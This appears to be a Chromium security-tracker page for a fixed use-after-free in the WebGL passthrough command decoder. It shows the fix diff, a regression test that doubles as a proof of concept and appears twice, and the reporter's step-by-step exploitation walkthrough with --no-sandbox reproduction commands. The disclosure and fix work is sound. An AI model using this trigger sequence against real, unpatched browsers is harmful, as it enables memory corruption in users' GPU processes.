Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in WebGL
DescriptionUse after free in WebGL
ComponentWebGL
Bug ClassUAF
Tracker506653647
Fix commit6944e2581ee7 (chromium/src) +121/-4
CISA KEVNot listed
CreditedTFGC
Disclosed2026-05-27

Changed Functions

FunctionChangeNotes
GLES3VertexArraysTest
gpu/command_buffer/tests/gl_vertex_arrays_unittest.cc
modified
TEST_F
gpu/command_buffer/tests/gl_vertex_arrays_unittest.cc
modified

Files Changed

  • gpu/BUILD.gn
  • gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc
  • gpu/command_buffer/tests/gl_vertex_arrays_unittest.cc
From 6944e2581ee7a67bc4f4b7c1d6a6b720097ba4e2 Mon Sep 17 00:00:00 2001
From: Ken Russell <kbr@chromium.org>
Date: Mon, 18 May 2026 11:37:07 -0700
Subject: [PATCH] Dirty bound element array buffer in DoDeleteVertexArraysOES.

In the passthrough command decoder. Add a unit test from the bug
report, verified with ASAN to fix the bug.

Co-authored with jetski-cli.

Fixed: 506653647
Change-Id: Ie133e85e6babd6da16889728e5f0e97af2ce489c
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7853561
Reviewed-by: Zhenyao Mo <zmo@chromium.org>
Commit-Queue: Zhenyao Mo <zmo@chromium.org>
Auto-Submit: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1632304}
---

diff --git a/gpu/BUILD.gn b/gpu/BUILD.gn
index 0b4c7ee..815f367 100644
--- a/gpu/BUILD.gn
+++ b/gpu/BUILD.gn
@@ -265,6 +265,7 @@
     "command_buffer/tests/gl_texture_storage_unittest.cc",
     "command_buffer/tests/gl_unallocated_texture_unittest.cc",
     "command_buffer/tests/gl_unittest.cc",
+    "command_buffer/tests/gl_vertex_arrays_unittest.cc",
     "command_buffer/tests/gl_virtual_contexts_ext_window_rectangles_unittest.cc",
     "command_buffer/tests/gl_virtual_contexts_unittest.cc",
     "command_buffer/tests/gl_webgl_multi_draw_test.cc",
diff --git a/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc b/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc
index 1f8a689..40610bb 100644
--- a/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc
+++ b/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc
@@ -3997,10 +3997,12 @@
 error::Error GLES2DecoderPassthroughImpl::DoDeleteVertexArraysOES(
     GLsizei n,
     const volatile GLuint* arrays) {
-  return DeleteHelper(n, arrays, &vertex_array_id_map_,
-                      [this](GLsizei n, GLuint* arrays) {
-                        api()->glDeleteVertexArraysOESFn(n, arrays);
-                      });
+  error::Error err = DeleteHelper(n, arrays, &vertex_array_id_map_,
+                                  [this](GLsizei n, GLuint* arrays) {
+                                    api()->glDeleteVertexArraysOESFn(n, arrays);
+                                  });
+  bound_element_array_buffer_dirty_ = true;
+  return err;
 }
 
 error::Error GLES2DecoderPassthroughImpl::DoIsVertexArrayOES(GLuint array,
diff --git a/gpu/command_buffer/tests/gl_vertex_arrays_unittest.cc b/gpu/command_buffer/tests/gl_vertex_arrays_unittest.cc
new file mode 100644
index 0000000..efa5324
--- /dev/null
+++ b/gpu/command_buffer/tests/gl_vertex_arrays_unittest.cc
@@ -0,0 +1,114 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include <GLES2/gl2.h>
+#include <GLES2/gl2ext.h>
+#include <GLES2/gl2extchromium.h>
+#include <GLES3/gl3.h>
+#include <stdint.h>
+
+#include "base/compiler_specific.h"
+#include "base/containers/span.h"
+#include "gpu/command_buffer/tests/gl_manager.h"
+#include "gpu/command_buffer/tests/gl_test_utils.h"
+#include "testing/gmock/include/gmock/gmock.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+namespace gpu {
+
+class GLES3VertexArraysTest : public testing::Test {
+ protected:
+  void SetUp() override {
+    GLManager::Options options;
+    options.context_type = CONTEXT_TYPE_OPENGLES3;
+    gl_.Initialize(options);
+  }
+
+  void TearDown() override { gl_.Destroy(); }
+  bool IsApplicable() const { return gl_.IsInitialized(); }
+
+  GLManager gl_;
+};
+
+// Test that deleting a bound vertex array object correctly marks the
+// bound element array buffer dirty, preventing UAF when the buffer is
+// deleted and subsequently unmapped.
+TEST_F(GLES3VertexArraysTest, GenAndDeleteOES) {
+  if (!IsApplicable()) {
+    return;
+  }
+
+  if (!GLTestHelper::HasExtension("GL_OES_vertex_array_object")) {
+    return;
+  }
+
+  constexpr GLsizeiptr kBufA = 16 * 1024 * 1024;
+  GLuint buf[2] = {0u, 0u};
+  GLuint vao = 0u;
+
+  glGenBuffers(1, &buf[0]);
+  glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, buf[0]);
+  glBufferData(GL_ELEMENT_ARRAY_BUFFER, kBufA, nullptr, GL_DYNAMIC_DRAW);
+
+  glGenVertexArraysOES(1, &vao);
+  glBindVertexArrayOES(vao);
+
+  glGenBuffers(1, &buf[1]);
+  glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, buf[1]);
+
+  // Delete the VAO. The driver should revert the ELEMENT_ARRAY binding to
+  // buf[0]. The service side passthrough decoder should mark the element array
+  // binding dirty.
+  glDeleteVertexArraysOES(1, &vao);
+
+  // Driver: VAO->VAO0, EA reverts to buf[0].
+  // If bug is present: Decoder cache still thinks buf[1] is bound.
+
+  // Post-CL-7782484 trigger: bind buf[1] to COPY_READ_BUFFER and allocate it,
+  // so it is ElementArray-typed and we can use it.
+  glBindBuffer(GL_COPY_READ_BUFFER, buf[1]);
+  glBufferData(GL_COPY_READ_BUFFER, 4096, nullptr, GL_DYNAMIC_DRAW);
+
+  // Map GL_ELEMENT_ARRAY_BUFFER.
+  // Driver maps buf[0].
+  // If bug is present: Decoder cache thinks buf[1] is bound, so it inserts
+  // entry for buf[1] pointing to buf[0] memory.
+  void* shm_a =
+      glMapBufferRange(GL_ELEMENT_ARRAY_BUFFER, 0, kBufA,
+                       GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_BUFFER_BIT);
+  ASSERT_NE(shm_a, nullptr);
+
+  // SAFETY this span is only created to correspond to the mapped
+  // buffer, whose size is known above.
+  auto shm_span =
+      UNSAFE_BUFFERS(base::span<uint8_t, static_cast<size_t>(kBufA)>(
+          static_cast<uint8_t*>(shm_a), static_cast<size_t>(kBufA)));
+  std::ranges::fill(shm_span, 0x41);
+
+  // Bind EA to buf[1] on client.
+  glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, buf[1]);
+
+  // Map tiny range to populate client-side tracking for buf[1].
+  // If bug is present: Service tries to insert duplicate entry for buf[1].
+  // In non-DCHECK builds, this is a no-op on service side.
+  void* shm_b =
+      glMapBufferRange(GL_ELEMENT_ARRAY_BUFFER, 0, 1,
+                       GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_RANGE_BIT);
+  ASSERT_NE(shm_b, nullptr);
+
+  // Free buf[0]. Driver frees its backing memory.
+  // The service entry for buf[1] still points to this freed memory.
+  glDeleteBuffers(1, &buf[0]);
+  glFinish();
+
+  // Unmap GL_ELEMENT_ARRAY_BUFFER (bound to buf[1] on client, cache says buf[1]
+  // on service). If bug is present: Service uses stale entry for buf[1]
+  // pointing to freed buf[0] memory, and memcpys to it -> UAF.
+  glUnmapBuffer(GL_ELEMENT_ARRAY_BUFFER);
+  glFinish();
+
+  glDeleteBuffers(1, &buf[1]);
+}
+
+}  // namespace gpu
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/gpu/command_buffer/tests/gl_vertex_arrays_unittest.cc b/gpu/command_buffer/tests/gl_vertex_arrays_unittest.cc
new file mode 100644
index 0000000..efa5324
--- /dev/null
+++ b/gpu/command_buffer/tests/gl_vertex_arrays_unittest.cc
@@ -0,0 +1,114 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include <GLES2/gl2.h>
+#include <GLES2/gl2ext.h>
+#include <GLES2/gl2extchromium.h>
+#include <GLES3/gl3.h>
+#include <stdint.h>
+
+#include "base/compiler_specific.h"
+#include "base/containers/span.h"
+#include "gpu/command_buffer/tests/gl_manager.h"
+#include "gpu/command_buffer/tests/gl_test_utils.h"
+#include "testing/gmock/include/gmock/gmock.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+namespace gpu {
+
+class GLES3VertexArraysTest : public testing::Test {
+ protected:
+  void SetUp() override {
+    GLManager::Options options;
+    options.context_type = CONTEXT_TYPE_OPENGLES3;
+    gl_.Initialize(options);
+  }
+
+  void TearDown() override { gl_.Destroy(); }
+  bool IsApplicable() const { return gl_.IsInitialized(); }
+
+  GLManager gl_;
+};
+
+// Test that deleting a bound vertex array object correctly marks the
+// bound element array buffer dirty, preventing UAF when the buffer is
+// deleted and subsequently unmapped.
+TEST_F(GLES3VertexArraysTest, GenAndDeleteOES) {
+  if (!IsApplicable()) {
+    return;
+  }
+
+  if (!GLTestHelper::HasExtension("GL_OES_vertex_array_object")) {
+    return;
+  }
+
+  constexpr GLsizeiptr kBufA = 16 * 1024 * 1024;
+  GLuint buf[2] = {0u, 0u};
+  GLuint vao = 0u;
+
+  glGenBuffers(1, &buf[0]);
+  glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, buf[0]);
+  glBufferData(GL_ELEMENT_ARRAY_BUFFER, kBufA, nullptr, GL_DYNAMIC_DRAW);
+
+  glGenVertexArraysOES(1, &vao);
+  glBindVertexArrayOES(vao);
+
+  glGenBuffers(1, &buf[1]);
+  glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, buf[1]);
+
+  // Delete the VAO. The driver should revert the ELEMENT_ARRAY binding to
+  // buf[0]. The service side passthrough decoder should mark the element array
+  // binding dirty.
+  glDeleteVertexArraysOES(1, &vao);
+
+  // Driver: VAO->VAO0, EA reverts to buf[0].
+  // If bug is present: Decoder cache still thinks buf[1] is bound.
+
+  // Post-CL-7782484 trigger: bind buf[1] to COPY_READ_BUFFER and allocate it,
+  // so it is ElementArray-typed and we can use it.
+  glBindBuffer(GL_COPY_READ_BUFFER, buf[1]);
+  glBufferData(GL_COPY_READ_BUFFER, 4096, nullptr, GL_DYNAMIC_DRAW);
+
+  // Map GL_ELEMENT_ARRAY_BUFFER.
+  // Driver maps buf[0].
+  // If bug is present: Decoder cache thinks buf[1] is bound, so it inserts
+  // entry for buf[1] pointing to buf[0] memory.
+  void* shm_a =
+      glMapBufferRange(GL_ELEMENT_ARRAY_BUFFER, 0, kBufA,
+                       GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_BUFFER_BIT);
+  ASSERT_NE(shm_a, nullptr);
+
+  // SAFETY this span is only created to correspond to the mapped
+  // buffer, whose size is known above.
+  auto shm_span =
+      UNSAFE_BUFFERS(base::span<uint8_t, static_cast<size_t>(kBufA)>(
+          static_cast<uint8_t*>(shm_a), static_cast<size_t>(kBufA)));
+  std::ranges::fill(shm_span, 0x41);
+
+  // Bind EA to buf[1] on client.
+  glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, buf[1]);
+
+  // Map tiny range to populate client-side tracking for buf[1].
+  // If bug is present: Service tries to insert duplicate entry for buf[1].
+  // In non-DCHECK builds, this is a no-op on service side.
+  void* shm_b =
+      glMapBufferRange(GL_ELEMENT_ARRAY_BUFFER, 0, 1,
+                       GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_RANGE_BIT);
+  ASSERT_NE(shm_b, nullptr);
+
+  // Free buf[0]. Driver frees its backing memory.
+  // The service entry for buf[1] still points to this freed memory.
+  glDeleteBuffers(1, &buf[0]);
+  glFinish();
+
+  // Unmap GL_ELEMENT_ARRAY_BUFFER (bound to buf[1] on client, cache says buf[1]
+  // on service). If bug is present: Service uses stale entry for buf[1]
+  // pointing to freed buf[0] memory, and memcpys to it -> UAF.
+  glUnmapBuffer(GL_ELEMENT_ARRAY_BUFFER);
+  glFinish();
+
+  glDeleteBuffers(1, &buf[1]);
+}
+
+}  // namespace gpu
Loading diff…

Original Bug Report

reported by h2...@gmail.com

WebGL Memory Corruption via Passthrough Decoder Bound Buffers Cache Desync

VULNERABILITY DETAILS

This is a use-after-free vulnerability in the passthrough command decoder of the WebGL imlpementation, reachable from a compromised renderer, resulting in memory corruption in the GPU process of Chrome.

The root cause is a missing cache-invalidation flag set in the passthrough GLES2 decode. The exact consequences of this and the crash signature depends on the ANGLE backend/driver, but on the configurations I tested it gives a memcpy targeting a stale pointer to a GPU memory allocation.

GLES2DecoderPassthroughImpl::bound_buffers_ is a map of the current client buffer ID per target, avoiding per-Map/Unmap glGetIntegerv round-trips. For GL_ELEMENT_ARRAY_BUFFER specifically, the cache has a lazy update mechanism because the ELEMENT_ARRAY binding is per-VAO state (OpenGL ES 3.0.6 2.11 + Table 6.2 “Vertex Array Object State”) and some GL operations change it as a side effect rather than via an explicit glBindBuffer. For this caching to work, the invariant should hold: before any decoder consumer reads bound_buffers_[GL_ELEMENT_ARRAY_BUFFER], either the cache has already been updated to match the driver, or bound_element_array_buffer_dirty_ is set so the next LazilyUpdateCurrentlyBoundElementArrayBuffer() call refreshes it.

The DoDeleteVertexArraysOES implementation of ANGLE breaks that invariant. Per OpenGL ES 3.0.6 2.11 “Vertex Array Objects”, If a vertex array object that is currently bound is deleted, the binding for that object reverts to zero and the default vertex array becomes current. While the other GLES functions that may have similar side-effect correctly set bound_element_array_buffer_dirty_, DoDeleteVertexArraysOES does not.

A compromised renderer can exploit this as follows (relevant code snippets shown below):

  1. Prime VAO0’s ELEMENT_ARRAY with buf_0 (a 16 MB buffer, size chosen so that ANGLE will allocate it standalone rather than suballocating it from a shared slab).
  2. Switch to a non-default VAO, bind buf_1 to that VAO’s ELEMENT_ARRAY. At this point the service’s bound_buffers_[GL_ELEMENT_ARRAY_BUFFER] is buf_1.
  3. Delete the non-default VAO. The driver’s ELEMENT_ARRAY reverts to buf_0 (per spec) but decoder’s cache still says buf_1 and the dirty flag is not set.
  4. Call MapBufferRange(GL_ELEMENT_ARRAY_BUFFER, 0, 16 MB, GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_BUFFER_BIT). The driver maps buf_0 and returns ptr_A. The decoder’s lazy-refresh early-exits on bound_element_array_buffer_dirty_==false, so it reads the stale bound_buffers_[GL_ELEMENT_ARRAY_BUFFER], buf_1 and inserts buf_1 => { map_ptr = ptr_A, size = 16 MB, shm_id, shm_offset, WRITE|INVALIDATE_BUFFER } into resources_->mapped_buffer_map. The key refers to buf_1 but the stored pointer refers to the mapped buf_0.
  5. Fill the returned shared-memory pointer with controlled bytes.
  6. Bind buf_1 to ELEMENT_ARRAY on the client side, then issue a tiny MapBufferRange(GL_ELEMENT_ARRAY_BUFFER, 0, 1, WRITE|INVALIDATE_RANGE): this populates the client-side GLES2Implementation::mapped_buffer_range_map_[buf_1] so that the later client-side UnmapBuffer validation accepts the call. This wouldn’t strictly be necessary if the PoC used the command buffer directly. In GLES2DecoderPassthroughImpl::DoMapBufferRange, std::map::insert returns {existing_iter, false} on the duplicate key and silently drops the new record, so this is effectively a no-op on the service side. In DCHECK-enabled builds this is where the PoC aborts, on the DCHECK(mapped_buffer_map.find(client_buffer) == end()) at passthrough_doers.cc:4007-4008.
  7. DeleteBuffers(buf_0). Because the 16 MB allocation was standalone (not suballocated), ANGLE’s garbage machinery synchronously calls vkDestroyBuffer + vkFreeMemory from the same decoder thread that processed DeleteBuffers. ptr_A is now dangling.
  8. UnmapBuffer(GL_ELEMENT_ARRAY_BUFFER). The decoder looks up bound_buffers_[GL_ELEMENT_ARRAY_BUFFER], which is buf_1, finds the mapped_buffer_map entry from step 4 with the now-dangling ptr_A, and executes memcpy(ptr_A, shm /*attacker bytes*/, 16 MB) at passthrough_doers.cc:4048.

Relevant Code Paths

DoDeleteVertexArraysOES in gles2_cmd_decoder_passthrough_doers.cc:3916-3923 does not set bound_element_array_buffer_dirty_ = true:

error::Error GLES2DecoderPassthroughImpl::DoDeleteVertexArraysOES(
    GLsizei n,
    const volatile GLuint* arrays) {
    return DeleteHelper(n, arrays, &vertex_array_id_map_,
                      [this](GLsizei n, GLuint* arrays) {
                        api()->glDeleteVertexArraysOESFn(n, arrays);
                      });
}

For contrast, DoBindVertexArrayOES at passthrough_doers.cc:3932-3937 sets it.

error::Error GLES2DecoderPassthroughImpl::DoBindVertexArrayOES(GLuint array) {
  api()->glBindVertexArrayOESFn(
      GetVertexArrayServiceID(array, &vertex_array_id_map_));
  bound_element_array_buffer_dirty_ = true;              // correct pattern
  return error::kNoError;
}

If bound_element_array_buffer_dirty_ is false, LazilyUpdateCurrentlyBoundElementArrayBuffer at passthrough.cc:2593-2611 returns early and bound_buffers_[GL_ELEMENT_ARRAY_BUFFER] retains its potentially stale value.

void GLES2DecoderPassthroughImpl::
    LazilyUpdateCurrentlyBoundElementArrayBuffer() {
  if (!bound_element_array_buffer_dirty_)
    return;                                              // early-exit
  GLint service_element_array_buffer = 0;
  api_->glGetIntegervFn(GL_ELEMENT_ARRAY_BUFFER_BINDING,
                        &service_element_array_buffer);
  GLuint client_element_array_buffer = 0;
  if (service_element_array_buffer != 0) {
    GetClientID(&resources_->buffer_id_map,
                static_cast<GLuint>(service_element_array_buffer),
                &client_element_array_buffer);
  }
  bound_buffers_[GL_ELEMENT_ARRAY_BUFFER] = client_element_array_buffer;
  bound_element_array_buffer_dirty_ = false;
}

At this point, invoking MapBufferRange(GL_ELEMENT_ARRAY_BUFFER, 0, 16 MB, GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_BUFFER_BIT) causes DoMapBufferRange at passthrough_doers.cc:3993-4013 to map buf_0 but then insert that mapped pointer into mapped_buffer_map keyed by the stale ELEMENT_ARRAY in the cache, buf_1.

error::Error GLES2DecoderPassthroughImpl::DoMapBufferRange(
    GLenum target, GLintptr offset, GLsizeiptr size, GLbitfield access,
    void* ptr, int32_t data_shm_id, uint32_t data_shm_offset,
    uint32_t* result) {
  // ...
  // Maps buf_0
  void* mapped_ptr = api()->glMapBufferRangeFn(target, offset, size,
                                               filtered_access);
  // ...
  DCHECK(bound_buffers_.find(target) != bound_buffers_.end());
  if (target == GL_ELEMENT_ARRAY_BUFFER) {
    // No update because bound_element_array_buffer_dirty_ == false
    LazilyUpdateCurrentlyBoundElementArrayBuffer();
  }
  // STALE, client_buffer == buf_1
  GLuint client_buffer = bound_buffers_.at(target);

  MappedBuffer mapped_buffer_info;
  mapped_buffer_info.size = size;
  mapped_buffer_info.original_access = access;
  mapped_buffer_info.filtered_access = filtered_access;
  // ACTUAL mapped pointer of buf_0
  mapped_buffer_info.map_ptr = static_cast<uint8_t*>(mapped_ptr);
  mapped_buffer_info.data_shm_id = data_shm_id;
  mapped_buffer_info.data_shm_offset = data_shm_offset;

  DCHECK(resources_->mapped_buffer_map.find(client_buffer) ==
         resources_->mapped_buffer_map.end());
  resources_->mapped_buffer_map.insert(
      std::make_pair(client_buffer, mapped_buffer_info));
  *result = 1;
  return error::kNoError;
}

Now calling DoDeleteBuffers at passthrough_doers.cc:928-967 with buf_0 will remove the mapped_buffer_map entry for buf_0 and actually free the backing allocation through the driver, while keeping the previously inserted entry for buf_1 pointing to the same memory region.

error::Error GLES2DecoderPassthroughImpl::DoDeleteBuffers(
    GLsizei n,
    const volatile GLuint* buffers) {
  // ...
  // No update because bound_element_array_buffer_dirty_ == false
  LazilyUpdateCurrentlyBoundElementArrayBuffer();

  std::vector<GLuint> service_ids(n, 0);
  for (GLsizei ii = 0; ii < n; ++ii) {
    GLuint client_id = UNSAFE_TODO(buffers[ii]);              // = buf_0

    // Update the bound and mapped buffer state tracking
    for (auto& buffer_binding : bound_buffers_) {
      if (buffer_binding.second == client_id) {
        buffer_binding.second = 0;
      }
      resources_->mapped_buffer_map.erase(client_id);         // erases buf_0 only
    }

    service_ids[ii] =
        resources_->buffer_id_map.GetServiceIDOrInvalid(client_id);
    resources_->buffer_id_map.RemoveClientID(client_id);
    // ...
  }
  api()->glDeleteBuffersARBFn(n, service_ids.data());         // actual driver free
  return error::kNoError;
}

After this, calling DoUnmapBuffer at passthrough_doers.cc:4016-4056 with GL_ELEMENT_ARRAY_BUFFER skips the lazy update like the other functions because bound_element_array_buffer_dirty_ is false. Then reads the stale buf_1 id from bound_buffers_ and finds the corresponing entry in mapped_buffer_map, which has the dangling ptr_A pointer, then memcpy’s the contents of the shared memory region controlled by the renderer to ptr_A. The contents and the size of the write are both controlled here by the renderer.

error::Error GLES2DecoderPassthroughImpl::DoUnmapBuffer(GLenum target) {
  if (target == GL_ELEMENT_ARRAY_BUFFER) {
    // No update because bound_element_array_buffer_dirty_ == false
    LazilyUpdateCurrentlyBoundElementArrayBuffer();
  }
  auto bound_buffers_iter = bound_buffers_.find(target);
  // target/bound validation
  GLuint client_buffer = bound_buffers_iter->second;       // STALE
  auto mapped_buffer_info_iter =
      resources_->mapped_buffer_map.find(client_buffer);   // hits divergent entry
  if (mapped_buffer_info_iter == resources_->mapped_buffer_map.end()) {
    InsertError(GL_INVALID_OPERATION, "Buffer is not mapped.");
    return error::kNoError;
  }
  const MappedBuffer& map_info = mapped_buffer_info_iter->second;
  if ((map_info.filtered_access & GL_MAP_WRITE_BIT) != 0 &&
      (map_info.filtered_access & GL_MAP_FLUSH_EXPLICIT_BIT) == 0) {
    uint8_t* mem = GetSharedMemoryAs<uint8_t*>(
        map_info.data_shm_id, map_info.data_shm_offset, map_info.size);
    if (!mem) return error::kOutOfBounds;
    UNSAFE_TODO(memcpy(map_info.map_ptr, mem, map_info.size));  // L4048 — UAF/SEGV
  }
  api()->glUnmapBufferFn(target);
  resources_->mapped_buffer_map.erase(mapped_buffer_info_iter);
  return error::kNoError;
}

Below 8MB ANGLE sub-allocates out of a shared BufferBlock (one vkAllocateMemory call, reused for many client buffers); DeleteBuffers releases the sub-allocation but leaves the block’s VkDeviceMemory alive. Above 8 MB each buffer gets its own VkDeviceMemory allocation that DeleteBuffers genuinely frees. This is purely an ANGLE constant and has the same value on every Vulkan backend Chrome ships.

BufferSuballocationGarbage::destroyIfComplete in Suballocation.cpp:220-229

bool BufferSuballocationGarbage::destroyIfComplete(Renderer *renderer) {
    if (renderer->hasResourceUseFinished(mLifetime)) {
        mBuffer.destroy(renderer->getDevice());
        mSuballocation.destroy(renderer);
        return true;
    }
    return false;
}

With no draw calls against the buffer, its ResourceUse is empty and hasResourceUseFinished is true, so ANGLE’s garbage machinery calls vkDestroyBuffer + vkFreeMemory inline from the same decoder thread that processed DoDeleteBuffers. No explicit glFinish is needed for the free to retire before DoUnmapBuffer’s memcpy, though the PoC issues one anyway.

In current Chromium, no JS-reachable code path can drive this sequence: WebGL2RenderingContextBase::getBufferSubData is the only Blink caller of MapBufferRange and it always uses GL_MAP_READ_BIT and does Map+Unmap atomically per call, so the write memcpy is never reached from JS and the divergence cannot persist across calls. The attached renderer patch (compromised_renderer.patch) emulates a compromised renderer that has bypassed Blink’s validation and issues the 17-op sequence directly.

VERSION

Chrome Version: 149.0.7807.0 + dev (commit 56162b7eb6dcf107cd6564598c28284a6983aecf)

Operating System: Linux (Ubuntu 24.04, kernel 6.17.0-22-generic).

The issue is in the generic passthrough decoder of the Chromium WebGL implementation and thus present on all platforms. How it manifests depends on the GPU driver.

REPRODUCTION CASE

GN args used for testing (out/asan-rel-x64/args.gn):

is_debug = false
is_asan = true
dcheck_always_on = false
is_component_build = false
treat_warnings_as_errors = false
symbol_level = 2

The attached renderer patch, compromised_renderer.patch, hijacks WebGL2RenderingContextBase::getBufferSubData when called with target == 0xDEAD to run the PoC sequence directly via ContextGL(). Normal getBufferSubData semantics are preserved for every other target value. No service-side code is modified.

Apply and build:

git apply compromised_renderer.patch
autoninja -C out/asan-rel-x64 chrome

I’ve included the crashing backtrace for SwiftShader, even though it’s not enabled by default in Chrome anymore, for easy reproduction.

On SwiftShader, the PoC produces an ASan heap use-after-free report because SwiftShader backs VkDeviceMemory with sw::allocateZeroOrPoison -> malloc() (swiftshader/src/System/Memory.cpp:76, VkDeviceMemory.cpp:342-354) and vkFreeMemory -> free(). The freed region stays mapped in the process address space but ASan has poisoned its shadow, so the decoder’s 16 MB write into the dangling map_ptr is caught as WRITE of size 16777216 at passthrough_doers.cc:4048. To reproduce on SwiftShader:

./chrome  --no-sandbox -use-angle=swiftshader --use-vulkan=swiftshader --enable-unsafe-swiftshader --enable-logging=stderr /data/poc/poc.html

See swiftshader_bt.txt for the full crash log.

Running the same PoC on an NVIDIA GPU results in a different crash. On native NVIDIA Vulkan the kernel-side driver maps host-visible VkDeviceMemory into the process via mmap and vkFreeMemory tears the mapping down, so the decoder’s 16 MB write into the dangling map_ptr hits an unmapped page and Chrome’s signal handler prints a raw Received signal 11 SEGV_MAPERR. To reproduce on NVIDIA:

./chrome --no-sandbox --use-gl=angle --use-angle=vulkan --enable-logging=stderr /data/poc/poc.html

See nvidia_bt.txt, verified on a GeForce RTX 2060, driver 580.126.09, Vulkan 1.4.312.

The bug itself is entirely driver-independent, the decoder-side memcpy is at the same passthrough_doers.cc:4048 with the same map_ptr source in both runs. What differs between backends is only what vkFreeMemory does to the host mapping of the freed VkDeviceMemory.

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: GPU process crash

Crash State: see nvidia_bt.txt and swiftshader_bt.txt

CREDIT INFORMATION

Reporter credit: TFGC

View on issue tracker